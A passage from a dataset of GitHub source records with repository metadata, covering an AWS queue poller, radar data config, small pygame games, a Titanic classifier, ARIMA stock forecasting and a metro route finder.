initiate app-tier\")\n raise error\n\n\ndef fetch_imageid_from_sqs():\n try:\n messages = receive_messages(REQUEST_QUEUE, MAX_NUMBER_OF_MSGS_TO_FETCH, WAIT_TIME_SECONDS, False)\n for msg in messages:\n fetch_image_from_s3(msg.body)\n delete_message(msg)\n except ClientError as error:\n logger.exception(\"Couldn't fetch imageId from queue\")\n raise error\n\n\ndef receive_messages(queue_name, max_number, wait_time, to_delete=True):\n try:\n queue = get_queue(queue_name)\n messages = queue.receive_messages(\n MessageAttributeNames=['All'],\n MaxNumberOfMessages=max_number,\n WaitTimeSeconds=wait_time\n )\n for msg in messages:\n logger.info(\"Received message: %s: %s\", msg.message_id, msg.body)\n if to_delete:\n delete_message(msg)\n except ClientError as error:\n logger.exception(\"Couldn't receive messages from queue: %s\", queue_name)\n raise error\n else:\n return messages\n\n\ndef delete_message(message):\n try:\n message.delete()\n logger.info(\"Deleted message: %s\", message.message_id)\n except ClientError as error:\n logger.exception(\"Couldn't delete message: %s\", message.message_id)\n raise error\n\n\ndef get_queue(name):\n try:\n queue = sqs_resource.get_queue_by_name(QueueName=name)\n logger.info(\"Got queue '%s' with URL=%s\", name, queue.url)\n except ClientError as error:\n logger.exception(\"Couldn't get queue named %s.\", name)\n raise error\n else:\n return queue\n\n\nwhile True:\n initiate_app_tier()\n time.sleep(1)\n","repo_name":"risabhRizz/aws-iaas-cloud-classifier","sub_path":"app-tier/run_poller.py","file_name":"run_poller.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"909544559","text":"import json\nimport os\n\nARRAY_VERSION = \"v0.1.0\" # corresponding to arrays defined by the following lines\nARRAY_Y_DIRECTION = \"xy\" # the default radar direction, + is north, row 0 is south\nARRAY_R_MAX = 150000.0\nARRAY_DIM = 600\nARRAY_ATTRIBUTES = [\"reflectivity\", \"velocity\", \"spectrum_width\"]\nARRAY_ELEVATIONS = [0.5, 1.5, 2.5, 3.5, 4.5]\nARRAY_RENDER_CONFIG = {\"ydirection\": ARRAY_Y_DIRECTION,\n \"fields\": ARRAY_ATTRIBUTES,\n \"coords\": \"cartesian\",\n \"r_min\": 2125.0, # default: first range bin of WSR-88D\n \"r_max\": ARRAY_R_MAX, # 459875.0 default: last range bin\n \"r_res\": 250, # default: super-res gate spacing\n \"az_res\": 0.5, # default: super-res azimuth resolution\n \"dim\": ARRAY_DIM, # num pixels on a side in Cartesian rendering\n \"sweeps\": None,\n \"elevs\": ARRAY_ELEVATIONS,\n \"use_ground_range\": True,\n \"interp_method\": 'nearest'}\nDUALPOL_DIM = 600\nDUALPOL_ATTRIBUTES = [\"differential_reflectivity\", \"cross_correlation_ratio\", \"differential_phase\"]\nDUALPOL_ELEVATIONS = [0.5, 1.5, 2.5, 3.5, 4.5]\nDUALPOL_RENDER_CONFIG = {\"ydirection\": ARRAY_Y_DIRECTION,\n \"fields\": DUALPOL_ATTRIBUTES,\n \"coords\": \"cartesian\",\n \"r_min\": 2125.0, # default: first range bin of WSR-88D\n \"r_max\": ARRAY_R_MAX, # default 459875.0: last range bin\n \"r_res\": 250, # default: super-res gate spacing\n \"az_res\": 0.5, # default: super-res azimuth resolution\n \"dim\": DUALPOL_DIM, # num pixels on a side in Cartesian rendering\n \"sweeps\": None,\n \"elevs\": DUALPOL_ELEVATIONS,\n \"use_ground_range\": True,\n \"interp_method\": \"nearest\"}\n\nprevious_versions = {} # those previously recorded at some point\nif os.path.exists(\"../../static/arrays/previous_versions.json\"):\n with open(\"../../static/arrays/previous_versions.json\", \"r\") as f:\n previous_versions = json.load(f)\nprevious_versions[ARRAY_VERSION] = {\"array\": ARRAY_RENDER_CONFIG, \"dualpol\": DUALPOL_RENDER_CONFIG}\nwith open(\"../../static/arrays/previous_versions.json\", \"w\") as f:\n json.dump(previous_versions, f, indent=4)\n","repo_name":"darkecology/wsrdata","sub_path":"dataset_preparation/prepare_dataset_v0.1.0_help/log_array_version.py","file_name":"log_array_version.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9307420445","text":"#!/usr/bin/env python\n# -*- coding: utf-8\nimport logging\nfrom datetime import datetime\n\nimport pygame\n\nfrom ibidem.codetanks.domain.messages_pb2 import GameInfo, RegistrationReply, ClientType, RegistrationResult, Event, GameStarted, GameOver\nfrom ibidem.codetanks.server.bot import Bot\nfrom ibidem.codetanks.server.com import ChannelType\nfrom ibidem.codetanks.server.constants import PLAYER_COUNT, MAX_HEALTH, BULLET_DAMAGE, TANK_SPEED, ROTATION, \\\n BULLET_SPEED, TANK_RADIUS, BULLET_RADIUS\n\nLOG = logging.getLogger(__name__)\n\n\nclass GameServer(object):\n def __init__(self,\n registration_channel,\n viewer_channel,\n channel_factory,\n world,\n victory_delay):\n self._registration_channel = registration_channel\n self._viewer_channel = viewer_channel\n self._channel_factory = channel_factory\n self._world = world\n pygame.init()\n self.clock = None\n self._handlers = {\n self._registration_channel: self._handle_registration\n }\n self._bots = []\n self._victory_delay = victory_delay\n\n def start(self):\n game_started = Event(game_started=GameStarted(game_info=self.build_game_info()))\n for bot in self._bots:\n bot.event_channel.send(game_started)\n self._viewer_channel.send(game_started)\n self.clock = pygame.time.Clock()\n LOG.info(\"Game started!\")\n\n def started(self):\n return self.clock is not None\n\n def finished(self):\n live_count = self._world.number_of_live_bots\n return len(self._bots) > 1 and live_count <= 1\n\n def run(self):\n LOG.info(\"GameServer starting, registration available on %s\", self._registration_channel.url)\n while not self.finished():\n self._run_once()\n LOG.info(\"Game finished, allowing %d seconds for victory celebrations\", self._victory_delay.seconds)\n start = datetime.now()\n winner = self._world.get_live_bots()[-1]\n game_over = Event(game_over=GameOver(winner=winner))\n for bot in self._bots:\n bot.event_channel.send(game_over)\n self._viewer_channel.send(game_over)\n while (datetime.now() - start) < self._victory_delay:\n self._run_once()\n\n def _run_once(self):\n received_messages = 0\n for channel in list(self._handlers.keys()):\n if channel.ready():\n self._handlers[channel](channel.recv())\n received_messages += 1\n if received_messages > 0:\n LOG.debug(\"GameServer processed %d messages\", received_messages)\n self._viewer_channel.send(Event(game_data=self._world.gamedata))\n if self.started():\n ticks = self.clock.tick(60)\n self._world.update(ticks)\n for tank_id, events in self._world.get_events().items():\n bots = self._bots if tank_id is None else (self._bots[tank_id],)\n for event in events:\n assert isinstance(event, Event), \"%r is not an instance of Event\" % event\n for bot in bots:\n bot.event_channel.send(event)\n\n def _handle_registration(self, registration):\n LOG.info(\"GameServer received registration: %r\", registration)\n if registration.client_type == ClientType.BOT:\n self._handle_bot_registration(registration)\n else:\n self._registration_channel.send(RegistrationReply(\n result=RegistrationResult.SUCCESS,\n game_info=self.build_game_info(),\n event_url=self._viewer_channel.url\n ))\n\n def _handle_bot_registration(self, registration):\n if self.started():\n self._registration_channel.send(RegistrationReply(\n result=RegistrationResult.FAILURE,\n game_info=self.build_game_info()\n ))\n return\n event_channel = self._channel_factory(ChannelType.PUBLISH)\n cmd_channel = self._channel_factory(ChannelType.REPLY)\n tank_id = len(self._bots)\n tank = self._world.add_tank(registration.id, tank_id)\n bot = Bot(registration.id, tank_id, event_channel, cmd_channel, tank)\n self._bots.append(bot)\n self._handlers[bot.cmd_channel] = bot.handle_command\n self._registration_channel.send(\n RegistrationReply(\n result=RegistrationResult.SUCCESS,\n game_info=self.build_game_info(),\n event_url=event_channel.url,\n cmd_url=cmd_channel.url,\n id=tank_id\n ))\n if len(self._bots) == PLAYER_COUNT:\n self.start()\n\n def build_game_info(self):\n return GameInfo(\n arena=self._world.arena,\n max_health=MAX_HEALTH,\n bullet_damage=BULLET_DAMAGE,\n player_count=PLAYER_COUNT,\n tank_speed=TANK_SPEED,\n rotation=ROTATION,\n bullet_speed=BULLET_SPEED,\n tank_radius=TANK_RADIUS,\n bullet_radius=BULLET_RADIUS\n )\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"mortenlj/codetanks","sub_path":"server/ibidem/codetanks/server/game_server.py","file_name":"game_server.py","file_ext":"py","file_size_in_byte":5133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"22740656372","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 15 14:59:40 2019\r\n\r\n@author: Poornima\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport random as rnd\r\n\r\ndataset1 = pd.read_csv('titanic_list.csv')\r\ndataset1 = dataset1.drop(['Name','Ticket','PassengerId','Cabin'], axis = 1)\r\ndataset1.isna().sum()\r\nfor dataset in dataset1: \r\n #complete missing age with median\r\n dataset1['Age'].fillna(dataset1['Age'].median(), inplace = True)\r\n dataset1['Embarked'].fillna(dataset1['Embarked'].mode()[0], inplace = True)\r\n \r\n \r\n \r\nfor dataset in dataset1:\r\n dataset1['FamilySize'] = dataset1['SibSp'] + dataset1['Parch'] + 1\r\n \r\n #create a matrix\r\ny = dataset1.iloc[:,7:8].values\r\ndataset1 = dataset1.drop(['Survived','SibSp','Parch'], axis = 1)\r\n \r\n\r\nX = dataset1.iloc[:,0:6].values\r\n#categorical data. OneHotEncoder is used for creating a sparse matrix of 0s and 1s.\r\nfrom sklearn.preprocessing import LabelEncoder,OneHotEncoder\r\nlabelencoder_X = LabelEncoder()\r\nX[:,1] = labelencoder_X.fit_transform(X[:,1])\r\nX[:,4] = labelencoder_X.fit_transform(X[:,4])\r\nonehotencoder_X = OneHotEncoder(categorical_features=[1])\r\nX = onehotencoder_X.fit_transform(X).toarray()\r\nonehotencoder_X = OneHotEncoder(categorical_features=[4])\r\nX = onehotencoder_X.fit_transform(X).toarray()\r\n\r\n\r\nfrom sklearn.cross_validation import train_test_split\r\nX_train,X_test,y_train,y_test = train_test_split(X,y,test_size = 0.25,random_state=0)\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc_X = StandardScaler()\r\nX_train = sc_X.fit_transform(X_train)\r\nX_test = sc_X.transform(X_test)\r\n\r\n\r\nfrom sklearn.linear_model import LogisticRegression\r\nclassifier = LogisticRegression(random_state=0)\r\nclassifier.fit(X_train,y_train)\r\n\r\n\r\n#predict\r\ny_predl = classifier.predict(X_test)\r\n\r\nfrom sklearn.metrics import confusion_matrix\r\ncml = confusion_matrix(y_test,y_predl)\r\nacc_log = round(classifier.score(X_train, y_train) * 100, 2)\r\nprint(acc_log)\r\n\r\n\r\n#predict\r\n\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nclassifier = KNeighborsClassifier(n_neighbors=5, p=2, metric='minkowski')\r\nclassifier.fit(X_train,y_train)\r\n\r\ny_predk = classifier.predict(X_test)\r\n#confusion metrix\r\nfrom sklearn.metrics import confusion_matrix\r\ncmk = confusion_matrix(y_test,y_predk)\r\nacc_knn = round(classifier.score(X_train, y_train) * 100, 2)\r\nprint(acc_knn)\r\n\r\n\r\nfrom sklearn.svm import SVC\r\nclassifier = SVC(kernel='rbf', random_state=0)\r\nclassifier.fit(X_train,y_train)\r\n\r\n\r\n#predict\r\ny_preds = classifier.predict(X_test)\r\n\r\n#confusion metrix\r\nfrom sklearn.metrics import confusion_matrix\r\ncms = confusion_matrix(y_test,y_preds)\r\nacc_svc = round(classifier.score(X_train, y_train) * 100, 2)\r\nprint(acc_svc)\r\n\r\nfrom sklearn.naive_bayes import GaussianNB\r\nclassifier = GaussianNB()\r\nclassifier.fit(X_train,y_train)\r\n\r\n\r\n#predict\r\ny_predn = classifier.predict(X_test)\r\n\r\n#confusion metrix\r\nfrom sklearn.metrics import confusion_matrix\r\ncmn = confusion_matrix(y_test,y_predn)\r\nacc_nav = round(classifier.score(X_train, y_train) * 100, 2)\r\nprint(acc_nav)\r\n\r\n","repo_name":"poornimagururaj/Titanic-Survival-records","sub_path":"tit_final.py","file_name":"tit_final.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"11262028393","text":"n=int(input(\"Enter the number of element:\"))\nlis=[]\nfor i in range(n):\n val=int(input(\"Enter value:\"))\n lis.append(val)\nprint(lis)\n#first method\nmx=lis[0]\nsmx=lis[1]\nfor i in range(len(lis)):\n if(lis[i]>mx):\n smx=mx\n mx=lis[i]\n elif(lis[i]>smx and lis[i]!=mx):\n smx=lis[i]\nprint(smx)\n#second method\nlis2=lis\nlis2.sort()#sort list in assending order\nprint(lis[-2])","repo_name":"vineetkumarsharma17/MyPythonCodes","sub_path":"List/Second_largest_number.py","file_name":"Second_largest_number.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41663633527","text":"class GameStats:\n \"\"\"Track stats\"\"\"\n def __init__(self, ai_game):\n \"\"\"Initialize stats\"\"\"\n self.settings = ai_game.settings\n self.reset_stats()\n\n # Set state of game.\n self.game_active = False\n\n self.high_score = 0\n\n def reset_stats(self):\n \"\"\"Stats that have to be reset during game\"\"\"\n self.ships_left = self.settings.ship_limit\n self.score = 0\n self.level = 1\n","repo_name":"abhishekshrm53/PyProjects","sub_path":"AlienInvasion/game_stats.py","file_name":"game_stats.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12669094764","text":"from matplotlib import rcParams\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pylab as plt\r\nimport plotly.graph_objects as go\r\nimport statsmodels.api as sm\r\nfrom statsmodels.tsa.stattools import adfuller\r\nfrom statsmodels.tsa.arima.model import ARIMA\r\nimport pmdarima as pm\r\n\r\nclass Forecast:\r\n def __init__(self, data, tp):\r\n if 'Close' not in data.columns:\r\n data['Close'] = data['Value']\r\n self.data = data['Close']\r\n self.dataframe = pd.DataFrame(self.data)\r\n split_length = int((tp/100)*len(self.dataframe))\r\n self.train = self.dataframe.iloc[:split_length+1,]\r\n self.test = self.dataframe.iloc[split_length:,]\r\n \r\n def Forecast_function(self, thing='regular'):\r\n timeseries = pd.Series(self.train['Close']) \r\n log_timeseries = np.log(timeseries)\r\n if thing =='Split Graph':\r\n fig1 = go.Figure()\r\n fig1.add_trace(go.Scatter(x=self.dataframe.index, y=self.train['Close'],\r\n mode='lines',\r\n name='Training Values'))\r\n fig1.add_trace(go.Scatter(x=self.test.index, y=self.test['Close'],\r\n mode='lines',\r\n name='Testing Values'))\r\n fig1.update_layout(\r\n xaxis_title=\"Date\",\r\n yaxis_title=\"Price($)\"\r\n )\r\n fig1.update_layout(plot_bgcolor='#0e1117',\r\n paper_bgcolor='#0e1117',\r\n font_color=\"white\",\r\n width=1100,\r\n height=500,\r\n margin=dict(l=50, r=50, b=100, t=100,pad=4))\r\n fig1.update_xaxes(showgrid=False)\r\n fig1.update_yaxes(showgrid=False)\r\n return fig1\r\n elif thing == 'Statistics':\r\n dftest = adfuller(timeseries, autolag='AIC')\r\n dfoutput = pd.Series(dftest[0:4], index=['Test Statistic',\r\n 'P-value',\r\n 'Number of Lags',\r\n 'Number of Observations'])\r\n for key, value in dftest[4].items():\r\n dfoutput['Critical Value {%s}'%key] =value\r\n dfoutput = dfoutput.to_frame()\r\n return dfoutput\r\n elif thing == 'Rolling Graph':\r\n rolling1 = self.dataframe.copy()\r\n rolling1['Rolling Mean']= rolling1['Close'].rolling(12).mean()\r\n fig1 = go.Figure()\r\n fig1.add_trace(go.Scatter(x=rolling1.index, y=rolling1['Close'],\r\n mode='lines',\r\n name='Rolling Mean'))\r\n fig1.add_trace(go.Scatter(x=rolling1.index, y=rolling1['Rolling Mean'],\r\n mode='lines',\r\n name='Rolling Mean'))\r\n fig1.update_layout(\r\n xaxis_title=\"Date\",\r\n yaxis_title=\"Price($)\"\r\n )\r\n fig1.update_layout(plot_bgcolor='#0e1117',\r\n paper_bgcolor='#0e1117',\r\n font_color=\"white\",\r\n width=1100,\r\n height=500,\r\n margin=dict(l=50, r=50, b=100, t=100,pad=4))\r\n fig1.update_xaxes(showgrid=False)\r\n fig1.update_yaxes(showgrid=False)\r\n rolling2 = self.dataframe.copy()\r\n rolling2['Rolling Standard Deviation']= rolling2['Close'].rolling(12).std()\r\n fig2 = go.Figure()\r\n fig2.add_trace(go.Scatter(x=rolling2.index, \r\n y=rolling2['Rolling Standard Deviation'], \r\n fill='tozeroy',\r\n mode='lines'))\r\n fig2.update_layout(\r\n xaxis_title=\"Date\",\r\n yaxis_title=\"Standard Deviation\"\r\n )\r\n fig2.update_layout(plot_bgcolor='#0e1117',\r\n paper_bgcolor='#0e1117',\r\n font_color=\"white\",\r\n width=1100,\r\n height=500,\r\n margin=dict(l=50, r=50, b=100, t=100,pad=4))\r\n fig2.update_xaxes(showgrid=False)\r\n fig2.update_yaxes(showgrid=False)\r\n return fig1, fig2\r\n elif thing == 'ACF Graph':\r\n with plt.rc_context({'axes.edgecolor':'white',\r\n 'xtick.color':'white', \r\n 'ytick.color':'white',\r\n 'text.color': 'white', \r\n 'figure.facecolor':'#0e1117',\r\n 'axes.facecolor': '#0e1117'}):\r\n fig = sm.graphics.tsa.plot_acf(self.train, lags=40)\r\n return fig\r\n elif thing == 'PACF Graph':\r\n with plt.rc_context({'axes.edgecolor':'white',\r\n 'xtick.color':'white', \r\n 'ytick.color':'white',\r\n 'text.color': 'white', \r\n 'figure.facecolor':'#0e1117',\r\n 'axes.facecolor': '#0e1117'}):\r\n fig = sm.graphics.tsa.plot_pacf(self.train, lags=40)\r\n return fig\r\n elif thing =='Model Graph':\r\n model = pm.auto_arima(log_timeseries, trace=True, error_action='ignore', suppress_warnings=True)\r\n model.fit(log_timeseries)\r\n forecast = model.predict(len(self.test))\r\n forecast = np.exp(forecast)\r\n forecast = pd.DataFrame(forecast, index=self.test.index, columns=['Predicted Values'])\r\n fig1 = go.Figure()\r\n fig1.add_trace(go.Scatter(x=self.dataframe.index, y=self.train['Close'],\r\n mode='lines',\r\n name='Training Values'))\r\n fig1.add_trace(go.Scatter(x=self.test.index, y=self.test['Close'],\r\n mode='lines',\r\n name='Testing Values'))\r\n fig1.add_trace(go.Scatter(x=self.test.index, y=forecast['Predicted Values'],\r\n mode='lines',\r\n name='Predicted Values'))\r\n fig1.update_layout(\r\n xaxis_title=\"Date\",\r\n yaxis_title=\"Price($)\"\r\n )\r\n fig1.update_layout(plot_bgcolor='#0e1117',\r\n paper_bgcolor='#0e1117',\r\n font_color=\"white\",\r\n width=1100,\r\n height=500,\r\n margin=dict(l=50, r=50, b=100, t=100,pad=4))\r\n fig1.update_xaxes(showgrid=False)\r\n fig1.update_yaxes(showgrid=False)\r\n return fig1\r\n\r\n def Model_function(self, p, d, q):\r\n history = list(y for y in self.train['Close'])\r\n predictions = []\r\n for t in range(len(self.test)):\r\n model = ARIMA(history, order=(p, d, q))\r\n model_fit = model.fit()\r\n output = model_fit.forecast()\r\n yhat = output[0]\r\n predictions.append(yhat)\r\n obs = self.test['Close'][t]\r\n history.append(obs)\r\n results = self.test.copy()\r\n results['Predicted Values']=predictions\r\n fig1 = go.Figure()\r\n fig1.add_trace(go.Scatter(x=self.dataframe.index, y=self.train['Close'],\r\n mode='lines',\r\n name='Training Values'))\r\n fig1.add_trace(go.Scatter(x=self.test.index, y=results['Close'],\r\n mode='lines',\r\n name='Testing Values'))\r\n fig1.add_trace(go.Scatter(x=self.test.index, y=results['Predicted Values'],\r\n mode='lines',\r\n name='Predicted Values'))\r\n fig1.update_layout(\r\n xaxis_title=\"Date\",\r\n yaxis_title=\"Price($)\"\r\n )\r\n fig1.update_layout(plot_bgcolor='#0e1117',\r\n paper_bgcolor='#0e1117',\r\n font_color=\"white\",\r\n width=1100,\r\n height=500,\r\n margin=dict(l=50, r=50, b=100, t=100,pad=4))\r\n fig1.update_xaxes(showgrid=False)\r\n fig1.update_yaxes(showgrid=False)\r\n return fig1\r\n","repo_name":"apadman2/Financial_Dashboard","sub_path":"arima.py","file_name":"arima.py","file_ext":"py","file_size_in_byte":8251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24563647851","text":"#!/usr/bin/env python3\nimport sys\n\n\ndef cnt(n: int):\n i = 1\n ans = 0\n while i * i < n:\n if n % i == 0:\n ans += 1\n i += 1\n ans *= 2\n if i * i == n:\n ans += 1\n return ans\n\n\ndef solve(N: int):\n print(sum(1 for i in range(1, N + 1, 2) if cnt(i) == 8))\n\n\ndef main():\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n N = int(next(tokens)) # type: int\n solve(N)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kurgm/atcoder_submissions","sub_path":"abc106/B/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32426886520","text":"import pygame\r\nimport liders\r\nimport flappybird\r\nimport sys\r\n\r\n\r\nclass GUI:\r\n def __init__(self):\r\n self.elements = []\r\n\r\n def add_element(self, element):\r\n self.elements.append(element)\r\n\r\n def render(self, surface):\r\n for element in self.elements:\r\n render = getattr(element, \"render\", None)\r\n if callable(render):\r\n element.render(surface)\r\n\r\n def update(self):\r\n for element in self.elements:\r\n update = getattr(element, \"update\", None)\r\n if callable(update):\r\n element.update()\r\n\r\n def get_event(self, event):\r\n for element in self.elements:\r\n get_event = getattr(element, \"get_event\", None)\r\n if callable(get_event):\r\n element.get_event(event)\r\n\r\n\r\ngui = GUI()\r\n\r\n\r\nclass Label:\r\n\r\n def __init__(self, rect, text):\r\n self.rect = pygame.Rect(rect)\r\n self.text = text\r\n self.bgcolor = pygame.Color(\"white\")\r\n self.font_color = pygame.Color(\"blue\")\r\n # Рассчитываем размер шрифта в зависимости от высоты\r\n self.font = pygame.font.Font(None, self.rect.height - 4)\r\n self.rendered_text = None\r\n self.rendered_rect = None\r\n\r\n def render(self, surface):\r\n surface.fill(self.bgcolor, self.rect)\r\n self.rendered_text = self.font.render(self.text, 1, self.font_color)\r\n self.rendered_rect = self.rendered_text.get_rect(x=self.rect.x + 2, centery=self.rect.centery)\r\n # выводим текст\r\n surface.blit(self.rendered_text, self.rendered_rect)\r\n\r\n\r\nclass Button(Label):\r\n\r\n def __init__(self, rect, text, funct):\r\n super().__init__(rect, text)\r\n self.funct = funct\r\n self.bgcolor = pygame.Color(\"gray\")\r\n # при создании кнопка не нажата\r\n self.pressed = False\r\n\r\n def render(self, surface):\r\n surface.fill(self.bgcolor, self.rect)\r\n self.rendered_text = self.font.render(self.text, 1, self.font_color)\r\n if not self.pressed:\r\n color1 = pygame.Color(\"white\")\r\n color2 = pygame.Color(\"black\")\r\n self.rendered_rect = self.rendered_text.get_rect(x=self.rect.x + 5, centery=self.rect.centery)\r\n else:\r\n color1 = pygame.Color(\"black\")\r\n color2 = pygame.Color(\"white\")\r\n self.rendered_rect = self.rendered_text.get_rect(x=self.rect.x + 7, centery=self.rect.centery + 2)\r\n\r\n # рисуем границу\r\n pygame.draw.rect(surface, color1, self.rect, 2)\r\n pygame.draw.line(surface, color2, (self.rect.right - 1, self.rect.top), (self.rect.right - 1, self.rect.bottom), 2)\r\n pygame.draw.line(surface, color2, (self.rect.left, self.rect.bottom - 1),\r\n (self.rect.right, self.rect.bottom - 1), 2)\r\n # выводим текст\r\n surface.blit(self.rendered_text, self.rendered_rect)\r\n\r\n def get_event(self, event):\r\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\r\n self.pressed = self.rect.collidepoint(event.pos)\r\n if self.pressed:\r\n self.funct()\r\n elif event.type == pygame.MOUSEBUTTONUP and event.button == 1:\r\n self.pressed = False\r\n\r\nclass TextBox(Label):\r\n\r\n def __init__(self, rect, text):\r\n super().__init__(rect, text)\r\n self.active = True\r\n self.blink = True\r\n self.blink_timer = 0\r\n\r\n def get_event(self, event):\r\n if event.type == pygame.KEYDOWN and self.active:\r\n if event.key in (pygame.K_RETURN, pygame.K_KP_ENTER):\r\n self.execute()\r\n elif event.key == pygame.K_BACKSPACE:\r\n if len(self.text) > 0:\r\n self.text = self.text[:-1]\r\n else:\r\n self.text += event.unicode\r\n elif event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\r\n self.active = self.rect.collidepoint(event.pos)\r\n\r\n def execute(self):\r\n name = self.text\r\n\r\n with open('name.txt','w') as file:\r\n file.write(name)\r\n flappybird.main()\r\n pygame.quit();\r\n sys.exit();\r\n\r\n def update(self):\r\n MAX_LEN_SYM = 10\r\n if len(self.text) > MAX_LEN_SYM:\r\n self.text = self.text[:MAX_LEN_SYM]\r\n if pygame.time.get_ticks() - self.blink_timer > 200:\r\n self.blink = not self.blink\r\n self.blink_timer = pygame.time.get_ticks()\r\n\r\n def render(self, surface):\r\n super(TextBox, self).render(surface)\r\n if self.blink and self.active:\r\n pygame.draw.line(surface, pygame.Color(\"black\"),\r\n (self.rendered_rect.right + 2, self.rendered_rect.top + 2),\r\n (self.rendered_rect.right + 2, self.rendered_rect.bottom - 2))\r\n\r\ndef init():\r\n WIN_WIDTH = 284 * 2 # Размер заднего фона : 284x512 px\r\n WIN_HEIGHT = 512\r\n pygame.init()\r\n screen = pygame.display.set_mode((WIN_WIDTH, WIN_HEIGHT))\r\n screen.fill(pygame.Color('blue'))\r\n return screen\r\n\r\n\r\ndef main(screen):\r\n gui = GUI()\r\n lab = Label((45, 10, 350, 80), 'Пожалуйста,')\r\n lab2 = Label((45, 90, 350, 80), 'введите имя')\r\n t1 = TextBox((45, 180, 350, 80), '')\r\n b1 = Button((45, 300, 150, 80), \"OK\", t1.execute)\r\n b2 = Button((45, 400, 230, 80), \"Таблица\", liders.Print_Table)\r\n gui.add_element(b1)\r\n gui.add_element(b2)\r\n gui.add_element(lab)\r\n gui.add_element(lab2)\r\n gui.add_element(t1)\r\n run = True\r\n while run:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run = False\r\n # передаем события пользователя GUI-элементам\r\n gui.get_event(event);\r\n # отрисовываем все GUI-элементы\r\n gui.render(screen)\r\n # обновляеем все GUI-элементы\r\n gui.update()\r\n pygame.display.flip()\r\n\r\nmain(init())","repo_name":"semenis/new_petuh_game","sub_path":"new_petuhs_pygame/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":6136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34313907924","text":"from graph_search import bfs, dfs\r\nfrom vc_metro import vc_metro\r\nfrom vc_landmarks import vc_landmarks\r\nfrom landmark_choices import landmark_choices\r\n\r\n\r\nlandmarks_string = \"\"\r\nfor cha, landmark in landmark_choices.items():\r\n landmarks_string += cha + \" - \" + landmark + \"\\n\"\r\n\r\n#stations_under_construction = []\r\nstations_under_construction = ['Burrard', 'Marine Drive']\r\n\r\n\r\n# Define greet() function\r\ndef greet():\r\n print(\"Hi there and welcome to SkyRoute!\")\r\n print(\"We'll help you find the shortest route between the following Vancouver landmarks: \\n\" + landmarks_string)\r\n\r\n\r\n# Getting Start- and Endstation\r\n\r\ndef get_start():\r\n start_point_letter = input(\r\n \"Where are you coming from? Type in the corresponding letter: \")\r\n if start_point_letter not in landmark_choices:\r\n print(\"Sorry, that's not a landmark we have data on. Let's try this again...\")\r\n get_start()\r\n else:\r\n start_point = landmark_choices[start_point_letter]\r\n return start_point\r\n\r\n\r\ndef get_end():\r\n end_point_letter = input(\r\n \"Ok, where are you headed? Type in the corresponding letter: \")\r\n if end_point_letter in landmark_choices:\r\n end_point = landmark_choices[end_point_letter]\r\n return end_point\r\n else:\r\n print(\"Sorry, that's not a landmark we have data on. Let's try this again...\")\r\n get_end()\r\n\r\n\r\ndef set_start_and_end(start_point, end_point):\r\n if start_point:\r\n change_point = input(\r\n \"What would you like to change? You can enter 'o' for 'origin', 'd' for 'destination', or 'b' for 'both': \")\r\n\r\n if change_point == 'o':\r\n start_point = get_start()\r\n elif change_point == 'd':\r\n end_point = get_end()\r\n elif change_point == 'b':\r\n start_point = get_start()\r\n end_point = get_end()\r\n else:\r\n print(\"Oops, that isn't 'o', 'd' or 'b'...\")\r\n set_start_and_end(start_point, end_point)\r\n else:\r\n start_point = get_start()\r\n end_point = get_end()\r\n\r\n return start_point, end_point\r\n\r\n\r\ndef get_route(start_point, end_point):\r\n start_stations = vc_landmarks[start_point]\r\n end_stations = vc_landmarks[end_point]\r\n\r\n routes = []\r\n\r\n for start_station in start_stations:\r\n for end_station in end_stations:\r\n if stations_under_construction:\r\n metro_system = get_active_stations()\r\n else:\r\n metro_system = vc_metro\r\n if stations_under_construction:\r\n possible_route = dfs(metro_system, start_station, end_station)\r\n if not possible_route:\r\n return None\r\n route = bfs(metro_system, start_station, end_station)\r\n if route:\r\n routes.append(route)\r\n\r\n return min(routes, key=len)\r\n\r\n\r\ndef show_landmarks():\r\n list_show = input(\r\n \"Would you like to see the list of landmarks again? Enter y/n: \")\r\n if list_show == 'y':\r\n print(landmarks_string)\r\n\r\n\r\ndef get_active_stations():\r\n updated_metro = vc_metro\r\n for station_under_construction in stations_under_construction:\r\n for station in vc_metro:\r\n if station == station_under_construction:\r\n updated_metro[station] = set([])\r\n else:\r\n updated_metro[station] -= set(station_under_construction)\r\n return updated_metro\r\n\r\n\r\ndef new_route(start_point=None, end_point=None):\r\n start_point, end_point = set_start_and_end(start_point, end_point)\r\n shortest_route = get_route(start_point, end_point)\r\n if shortest_route:\r\n shortest_route_string = '--> '.join(shortest_route)\r\n print(\"The shortest metro route from {0} to {1} is : \".format(\r\n start_point, 